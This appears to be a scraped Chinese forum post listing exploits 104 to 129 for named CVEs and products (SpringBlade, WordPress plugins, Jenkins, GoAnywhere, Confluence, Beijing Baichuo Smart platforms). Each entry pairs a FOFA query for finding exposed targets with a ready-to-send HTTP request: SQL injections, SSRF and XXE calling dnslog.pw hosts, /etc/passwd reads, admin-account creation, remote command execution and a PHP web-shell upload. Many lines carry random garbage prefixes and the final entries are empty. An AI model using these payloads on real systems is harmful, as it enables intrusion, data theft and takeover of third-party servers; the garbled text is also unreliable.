( {7 g, f+ }# O9 {SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
' A& }, o5 F9 A. _3 V; ]4 e
( V/ Q1 ^3 v6 e- L
, R+ e. j4 Z* C8 e4 r( m$ b其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
3 ^5 z! f4 n- j+ h% S0 v<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
# w- v+ p. {; V9 ^
" h  U" `* V& l2 K1 x# n
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
' @) P6 B6 @6 g: J# v$ OCVE-2024-0569
# f; F! D% Z! e0 uFOFA：title="TOTOLINK"
& i3 O! ]) z( o) F$ fPOST /cgi-bin/cstecgi.cgi HTTP/1.1
  Q( x- Y9 a: h! q1 n% b* j0 p8 ^Host:192.168.0.1
Content-Length:41
: B  ]6 e4 [' E: IAccept:application/json,text/javascript，*/*;q=0.01
$ q; C6 ], n: {% p; `, K1 WX-Requested-with: XMLHttpRequest
  Q2 h2 y6 k) a1 R# cUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
7 ?! {$ H* c* k# Z2 ]' b) W/ rContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
& C$ ^- x# E+ Z1 o, GAccept-Encoding:gzip,deflate
) T# J; ]; m8 {2 A9 PAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
5 \0 B3 ]! u- q/ oConnection:close

{
"topicurl":"getSysStatusCfg",
"token":""
}

4 F% m* s; l# w$ j1 D105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
3 p+ d3 o( M# z! _http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
9 S1 m5 M3 w( Y% y
106. SpringBlade dict-biz/list SQL 注入
; V+ d8 r  c. F: XFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" q9 R. j/ \$ _/ b* FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
/ k; {! R! c9 }. d) vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; f! E! w: Q, c# K$ rConnection: close
2 r) D3 X+ X# q
2 t- ?/ I7 g# {* J% k- ?/ D, W6 O
107. SpringBlade tenant/list SQL 注入
' F  o' o# y2 ^& X4 ?FOFA：body="https://bladex.vip"
( V: \$ `5 I0 Q! Y; S- R3 H1 wGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. V( [8 K+ m. c' i) JHost: your-ip
+ V$ r, T7 ~$ l1 @! f8 d( fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
1 K* Z& ^# [7 S

0 t0 t' D; Q9 ~# L" f( J  }3 K2 G108. D-Tale 3.9.0 SSRF
& u2 T4 ?, E9 |% c5 S( wCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
; B  P% |9 m0 [" v- ~GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
- M) e4 p- D" A0 gHost: your-ip
Accept: application/json, text/plain, */*
; l- X! s5 c/ n- D7 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 _9 r3 i' u* ], g, d* x# iAccept-Encoding: gzip, deflate
6 K; P, f. U( i/ ]7 rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 f. V3 B" n; G: ]. W" ZConnection: close


, `6 T! n5 |/ G  t4 I) H* q1 x% l; j, [109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
5 ]' r- D7 |6 H# o+ j' d- n! ]POST /cli?remoting=false HTTP/1.1
7 e; }4 T7 d6 j2 \' i7 Z5 KHost:
8 }2 Q7 S" R1 l4 HContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
& j4 a- T/ n! _* z- z! [0 aConnection: keep-alive
6 j9 y3 j, v4 \' k2 U7 [Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
( E& h8 b7 z( \3 eHost:
1 y. c4 }) @6 Q8 c" qSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
) q+ Y9 ?0 u/ z: S/ y7 n% ]download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
% \' V* [' g/ m% ]# Z% W

; @/ M  b7 P' G3 ]: v/ V, iERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 w9 l5 X2 l( u2 n( cjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
  a/ Q* n: r$ ]2 o3 X* ^& z: L$ m COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

% X, z+ z2 [* u9 b- B" A
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

/ y; a; X& B9 ~3 D  ?0 X
% s1 a: i* @+ U/ _( U: d( `# M111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
# c4 k# ]3 d, Y6 C/ ]GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
8 k7 S* f) K3 a3 d7 cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ X" i( M5 \* H8 ]/ aConnection: close
$ G8 j# q8 b$ d3 W- H: [- rAccept: */*
Accept-Language: en
Accept-Encoding: gzip

, q, a* t) ^0 @# m- A1 Y; `
112. WordPress Plugin NotificationX SQL 注入
' T- V, v9 b8 D" ACVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
. R  T5 E" w, J3 XPOST /wp-json/notificationx/v1/analytics HTTP/1.1
, |+ ]: M( |" |$ @# z6 ^+ SHost: {{Hostname}}
Content-Type: application/json
( I& b) q2 e. A. q, r
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
) m0 N5 v5 z" n
/ }8 X: E( {- u( D# I+ y; |
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
2 V4 I- I0 B% ]$ B, z  J; LFOFA："/wp-content/plugins/wp-automatic"
2 m: r% U6 [' q" J& j5 l" |* u/ kGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
8 f; L# T6 a; B6 J+ P# oUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 z: e5 q9 q5 e! O. P% ZConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
7 M! F( K: b: h  Q" D. P

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
" ?6 w& d, d1 i6 b- `Accept-Charset: utf-8
( F7 W$ M6 ?' y1 c# z4 lAccept-Encoding: gzip, deflate
( O& @3 b  ?) m- TConnection: close
# _, ?! _7 }; w3 N4 J9 A1 g; u
7 t* q+ p9 f2 ?+ P  j) x: H! }* a
115. WordPress Bricks Builder <= 1.9.6 RCE
! E$ r* M  ?9 F0 m9 l7 ^) @CVE-2024-25600
& j! y  H  c- [: l! w9 @FOFA: body="/wp-content/themes/bricks/"
% y# s1 }4 w, K2 }# s' X. f5 m第一步，获取网站的nonce值
% O3 p: C, t  t: q( h7 K7 pGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 n( Z5 N, y* Z! |Connection: close
4 j$ A% G" \  }2 t+ ?  w4 O0 Z% AAccept-Encoding: gzip


第二步替换nonce值，执行命令
8 @  Y5 w, [: w* L' J+ @POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
* Q& f& C; P$ P  _0 y) N# v3 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
+ S+ D7 r$ G" b. RContent-Type: application/json
Accept-Encoding: gzip
  R$ Y" `2 t6 m
{
1 I  X+ M" _1 V  x2 C, n- h8 A: i- V"postId": "1",
  "nonce": "第一步获得的值",
) b, B& n5 ]; X$ d( E! z- t3 O  "element": {
$ T: t7 I6 h; `4 e8 M- h    "name": "container",
! U8 K" O- J* Z    "settings": {
      "hasLoop": "true",
# I* }  a8 W6 s6 }- _- Y/ v( t      "query": {
! u" Q& s! D# c( q. O0 n        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
! [1 M) ?, F. |* Q" B6 C        "objectType": "post"
      }
/ x1 Y7 m4 |+ h/ c2 s; f9 O! `    }
  }
}
" Y5 E  Q$ u6 v% H
# i  m# W8 p1 Q% U. D0 ~# `
116. wordpress js-support-ticket文件上传
9 _' [0 w/ c" `" `/ j0 ]) G) gFOFA：body="wp-content/plugins/js-support-ticket"
6 X: w1 Y$ U/ L, }POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
6 _5 e, Q( `4 F+ h- g  [( MContent-Type: multipart/form-data; boundary=--------767099171
$ i( v, t, s1 R& b! UUser-Agent: Mozilla/5.0

----------767099171
; p6 x" o( \$ _3 wContent-Disposition: form-data; name="action"
  Y! j3 B3 e( B4 Sconfiguration_saveconfiguration
----------767099171
9 l& q$ a. P% X8 L* y) M- _; EContent-Disposition: form-data; name="form_request"
) f) ~/ m7 g) X$ ~- @4 ~/ C- hjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
  v& r& s! c! MContent-Type: image/png
3 z1 r4 Q6 w. L0 r: R# ~3 k8 j----------767099171--


% o+ Q. U2 v/ V8 H, Q117. WordPress LayerSlider插件SQL注入
+ `% O7 Q7 P2 p' D* D3 xversion：7.9.11 – 7.10.0
3 E* e" W" l4 |4 P* L/ RFOFA：body="/wp-content/plugins/LayerSlider/"
$ j3 }7 Z$ X  a0 u1 tGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
2 v: N0 ~! L1 p3 B. ^. l4 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# W0 D7 _% f) `3 i& hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& j+ K. Z9 y$ T: x3 l: V8 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 n8 N5 a, j$ w1 K3 Y! B7 SAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
' |; Z% `' t( |; h8 u* V% y, X5 q" V
1 ~& E. k  w- H1 ~7 V
/ C, r" a+ [7 Z+ E/ w' ]118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
& c2 n4 b: `4 N7 J, M1 B# hCVE-2024-0939
8 U# m. Z) D8 b/ u. vFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
% E8 P" R+ |( d' P! j# ]Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* {3 e/ B. d; g# f% F# q5 NAccept-Encoding: gzip, deflate
$ U0 c& A: I; {- u' YContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
2 l* M4 p: V! v9 h0 UUpgrade-Insecure-Requests: 1
0 e; P7 S& e% L2 T' y# QSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ H7 P# T/ ?  Y; ~. B5 ?3 Z8 gTe: trailers
Connection: close
4 C; x) S# E) E
-----------------------------13979701222747646634037182887
+ z( B* k5 |0 c3 b  XContent-Disposition: form-data; name="file_upload"; filename="contents.php"
: y0 ^3 x' S8 v/ Y; e# ]4 hContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
" j7 o) k1 f- \2 JContent-Disposition: form-data; name="txt_path"
1 |. R0 X9 e$ Z/ k: ]
3 {7 a" U+ W! ?5 b# o/home/src.php
-----------------------------13979701222747646634037182887--
# {' @$ }0 g* M3 K5 Y. r

6 W- h1 C* f* C. B; O' H( @5 x访问/home/src.php

% O+ D) @- M2 z9 D119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
) T' T( G" m5 S先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
% g- H# N% ~) p+ l. M8 G0 RAccept: */*
+ Q. }3 V6 u$ A; `  K+ r/ K  @8 {- S- q6 uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 X  x, _" M' ?  W9 P' S) XContent-Type: application/x-www-form-urlencoded;
' K4 d- _/ K( R  xContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
, t& H; a5 Q9 ?. K% V# JSec-Fetch-Dest: empty
9 a3 u3 A% f$ _# r$ w5 hSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
3 N4 Y4 ~+ [1 MX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
0 s1 N6 Q' h7 g2 y# mTe: trailers
4 F( E4 d9 |+ o, C. ?8 LConnection: close

( H, C: n3 i% T& Y7 A- tsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

$ K6 |5 u+ i" P/ e! ~
120. 北京百绰智能S40管理平台导入web.php任意文件上传
: u. c% [1 y) E( @CVE-2024-1253
2 f7 `6 _" d. l, D" RFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
8 v# t7 m4 [) Z/ W2 F% YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 b# d* _) S+ a: _' `7 K) n/ T" _Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
4 y/ y- a, y4 {: ~6 Z1 _6 zReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
2 n3 n- S! e# W9 s* E  s0 BSec-Fetch-Mode: navigate
$ Q) g0 [9 M' RSec-Fetch-Site: same-origin
, r2 r4 M+ q$ Q3 e. ]# {2 i3 {Sec-Fetch-User: ?1
2 Y/ H; ~3 T) w* l# w" eTe: trailers
8 F) \# z7 E3 g2 H- s( TConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
0 J4 y" |. H1 X' [  XContent-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
+ V1 g% b/ U6 Z+ ?8 x, DContent-Disposition: form-data; name="id_type"
% ?5 f  K2 P4 w! V/ N0 J, f) U3 X
1
6 ~3 \' f6 C& w0 T-----------------------------42328904123665875270630079328
. q, M9 X& x$ b; o  cContent-Disposition: form-data; name="1_ck"
5 G: d& d3 ^0 X( P! x' w
0 c$ b3 Z+ P$ I1_radhttp
-----------------------------42328904123665875270630079328
, L: }" V6 Y# R- n0 J4 K! g) ZContent-Disposition: form-data; name="mode"
$ x. v3 E( b5 H0 ~
4 G7 ~1 A: x$ [' v0 s  q) \- Mimport
-----------------------------42328904123665875270630079328


& K: T2 r$ U; o- D; H# ?文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
6 Q- w$ C3 _% V4 D/ ]) q( LCVE-2024-1918
FOFA：title="Smart管理平台"
4 ^! `* F+ [% l( y9 |7 n! G$ X6 mPOST /useratte/userattestation.php HTTP/1.1
6 R! \' A# n) T+ o, ^6 SHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
1 Y; Q% ^7 P8 t, c; x% a* zUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 I" p+ k3 R; l# F! d- y: `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' X" ]* L" i+ b# `Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
" Y; d6 |8 K! G. {5 y; M- _3 eContent-Length: 592
2 u" k* d1 G2 i2 X2 N' KOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
( Y5 e5 m+ i* s  c: V" D* OSec-Fetch-Dest: document
: D! P& ]8 `! I+ ^Sec-Fetch-Mode: navigate
2 a4 {1 o2 v* j; z6 w, ~) @( zSec-Fetch-Site: same-origin
$ K! r/ ?( t8 j9 ?/ E1 l2 NSec-Fetch-User: ?1
6 ~. q# C& C1 X" w; o6 L* ^& uTe: trailers
0 q6 U* _. ~$ kConnection: close
# N8 `( W! \1 o, ~4 P4 ]
( g* |8 R9 M7 L, \2 k6 U5 @-----------------------------42328904123665875270630079328
+ ]0 J6 w7 M) M% }Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

. x0 G$ S3 S# G! {  U' r7 Z( u<?php phpinfo();?>
+ p$ \1 p' o3 H0 k' ~  i% j) o! S-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
+ g. v$ u# \/ J: q( d$ h
  Y) f. d: r( ^- L5 e1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
5 F* S+ O/ N, F/ iContent-Disposition: form-data; name="hidwel"
. U1 A7 |! V5 _0 c7 Q7 @/ g
& j/ Q/ I8 ]9 r5 o6 s( y2 \; {set
' H+ \: Z! f: Y( j' P-----------------------------42328904123665875270630079328

8 Z+ X2 x3 O( U/ y
; ?; q: \) ^: `, a9 K+ Q: `boot/web/upload/weblogo/1.php
2 {1 h6 c' S3 U% N( ~2 a' F% P
( X5 {/ Y7 E! R" p4 h6 }, G4 F# \122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
: `# |" }- s5 A2 ?8 L1 y其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
+ S5 z0 R( \& P# H# i2 [GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
( B5 l- |. K; P" A4 ]7 lHost: x.x.x.x
3 g) i# h3 s* ~0 X$ hCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ K) C; j! b$ r2 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, ^6 N- h2 o6 U( ^5 F9 K* X6 JAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
% M7 r' U! S" T' tSec-Fetch-Mode: navigate
4 T4 n% @. |  L) _) B; jSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
2 e8 @* l7 y% e: cConnection: close
9 u' K- T" R3 u- S) _6 q% x7 W
8 V( P5 g0 {; q" q1 b& l' H5 |3 o
123. Atlassian Confluence 模板注入代码执行
6 A  d* z+ J) S  y% j- jFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
& \4 N1 t2 k! m8 eHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
! K* [- a- {# e. W9 I1 L: S4 yConnection: close
* `+ \( Z, b$ z  ^: y# M& Q2 kContent-Type: application/x-www-form-urlencoded

1 l- p+ C! v: O1 {* @, Glabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


* E$ l- l# Z( U3 K9 J! q$ O124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
% Q! C1 r  I: bPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
7 j! z3 V  b* b+ m$ n( FUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- R! V; w- L' A! K9 WContent-Length: 72
+ a3 U& R. d' ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
) p7 ]$ a/ L( k- r/ r/ g; b# o( EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" m' P7 o  T- `5 R" N" q3 zConnection: close
& m2 l( D( o4 _2 d( F# U5 AContent-Type: application/x-www-form-urlencoded
0 x% p) s1 i: e! n' J: L* l: p
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
& @) o  C- K* h/ K( C
, y4 ~3 |% `- e% |
http://192.168.40.130:8282/Scripts/abcgcg.aspx
5 `. d# X' S$ @0 g5 V, }3 W
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
* J) g1 Y& _  U4 z2 T! {FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

  j& @1 `9 V6 {5 Z+ t9 i
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
# o+ a* M  \7 W1 R- D  y1 @% [! E$ {3 b

& I/ g& m9 a: i" A创建好用户后直接登录后台，可以执行系统命令。
9 b% E9 }5 g7 H( }. P
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
# X3 T0 R' u: N. i6 n8 O$ A9 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, e2 w8 `* F# b2 ]$ d* e  YConnection: close
Accept: */*
Accept-Language: en
9 K2 P# J& [/ H/ w7 }7 JAccept-Encoding: gzip
1 _0 K( {8 H& L1 l1 k- {) f

127. 广联达Linkworks DataExchange.ashx XXE
) C5 r5 l7 z% c3 MFOFA：body="Services/Identification/login.ashx"
8 a: o/ [4 O0 k0 x" `/ f# J* B7 @POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
0 T0 U8 T1 U* p1 Y) I* ^0 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
( j2 b) p6 z9 |: j0 z) K! s# x  tContent-Length: 415
! N, e+ ?4 }) t3 l$ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ `2 L1 t% O$ {. Y2 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 k0 A3 x1 d) QContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
3 C, s7 @/ Z, \9 V0 q
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
& a4 p- N! a; w% N6 P$ e
BIM
7 v: f# g0 V% u% ~------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
3 Q# N7 ~& Y$ Q; R<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
3 a  ~. ?; ]3 Y3 D]
; a/ W# Q/ D8 |. o. A$ Q>
! r, i. {( u+ z" H<test>&t;</test>
4 b2 [" v% D1 g4 H  B3 e------WebKitFormBoundaryJGgV5l5ta05yAIe0--

9 S" v) V. z% M

128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
+ [4 r' N' q0 F! X  l9 e
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
